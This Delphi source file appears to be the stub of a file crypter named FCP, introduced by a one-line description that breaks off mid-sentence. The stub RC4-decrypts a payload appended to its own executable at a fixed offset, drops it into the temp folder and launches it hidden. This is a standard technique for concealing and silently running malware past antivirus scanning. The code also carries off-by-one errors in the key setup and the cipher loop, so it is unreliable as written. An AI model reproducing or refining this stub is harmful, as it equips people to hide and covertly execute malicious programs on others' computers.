project1.dpr

FCP takes a file, generates a random 2048 bit key and encrypts the file with a RC4 stream cipher. T

program Project1;

uses
  Windows;

var
  kbox: array[0..255] of byte;
  sbox: array[0..255] of byte;

procedure RC4Init(Password: array of byte);
var
  A, B, swap: integer;
  size: integer;
begin
  B := 0;
  size := length(Password);
  for A := 0 to 255 do
  begin
    kbox[A] := ord(Password[(A mod size) + 1]);
    sbox[A] := A;
  end;
  for A := 0 to 255 do
  begin
    B := (B + sbox[A] + kbox[A]) mod 256;
    swap := sbox[A];
    sbox[A] := sbox[B];
    sbox[B] := swap;
  end;
end;

procedure RC4Cipher(Input: array of byte; var Output: array of byte);
var
  A, B, C, D, E, swap: integer;
begin
  B := 0;
  C := 0;
  for A := 0 to length(Input) do
  begin
    B := (B + 1) mod 256;
    C := (C + sbox[B]) mod 256;
    swap := sbox[B];
    sbox[B] := sbox[C];
    sbox[C] := swap;
    D := sbox[(sbox[B] + sbox[C]) mod 256];
    E := ord(Input[A]) xor D;
    Output[A] := E;
  end;
end;

function ExtractFileName(FileName: string): string;
begin
  while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
  Result := FileName;
end;

procedure Extract;
const
  Password: array[0..255] of byte = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
var
  InputData, OutputData: array[0..1023] of byte;
  Input, Output: dword;
  Bytes: dword;
  TempPath: array[0..260] of char;
  TempFile: pchar;
begin
  RC4Init(Password);
  GetTempPath(261, @TempPath);
  TempFile := pchar(string(TempPath) + '\' + ExtractFileName(ParamStr(0)));
  Input := CreateFile(pchar(ParamStr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  SetFilePointer(Input, 15872, nil, FILE_BEGIN);
  Output := CreateFile(TempFile, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  repeat
    ReadFile(Input, InputData, 1024, Bytes, nil);
    RC4Cipher(InputData, OutputData);
    WriteFile(Output, OutputData, Bytes, Bytes, nil);
  until Bytes < 1024;
  CloseHandle(Input);
  CloseHandle(Output);
  WinExec(TempFile, 0);
end;

begin
  Extract;
end.